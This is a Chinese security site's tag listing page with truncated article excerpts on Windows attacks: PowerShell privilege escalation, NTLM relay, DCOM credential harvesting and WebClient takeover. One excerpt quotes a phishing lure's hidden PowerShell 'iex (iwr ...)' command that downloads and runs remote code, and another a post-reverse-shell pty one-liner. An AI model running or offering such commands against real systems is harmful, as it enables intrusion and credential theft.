webclient | CN-SEC 中文网

安全文章

PowerShell权限提升操作指南

一、环境准备阶段1.获取基础执行权限需要先拥有普通用户权限的PowerShell执行环境。也就是说你要在对方系统里至少有一个普通用户可以登录，并拥有PowerShell执行环境。2.检查当前执行策略🥛...

06月07日11 views评论

安全工具

RemoteMonologue 是一种 Windows 凭证收集技术，它利用交互式用户 RunAs 密钥并通过 DCOM 强制 NTLM 身份验证来实现远程用户入侵。阅读 X-Force Red 的...

04月25日23 views评论

安全文章

NTLM 中继攻击是一种 MITM 攻击，通常涉及某种形式的身份验证强制，攻击者诱使主机向攻击者控制的机器进行身份验证，然后将身份验证中继到目标设备、资源或服务，从而有效地冒充主机。这种类型的攻击对 ...

12月01日19 views评论

安全文章

女神电脑沦陷记通过邮件发送钓鱼信息访问提示连接不安全跳转验证机器人操作诱导你完成复制粘贴powershell.exe -w hidden -Command "iex (iwr '[https://]2...

09月24日33 views评论

安全文章

在 Active Directory 的默认配置中，可以在其 WebClient 服务运行时远程接管工作站 (Windows 7/10/11) 和可能的服务器（如果安装了桌面体验）。简而言之，这是通过...

06月30日69 views已关闭评论

from:http://evi1cg.meLinuxLinux反弹shell后，方便的交互：python -c 'import pty; pty.spawn("/bin/bash")'WindowsP...

03月17日安全闲碎55 views评论

安全文章

Get-Information：信息收集：包括运行窗口历史记录如：FTP访问、共享连接、putty连接驱动、应用程序、hosts文件、进程、无线网络记录：powershell "I...

12月29日105 views评论